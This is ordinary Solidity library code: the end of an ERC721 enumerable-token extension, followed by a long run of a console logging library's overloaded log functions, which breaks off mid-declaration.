xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory 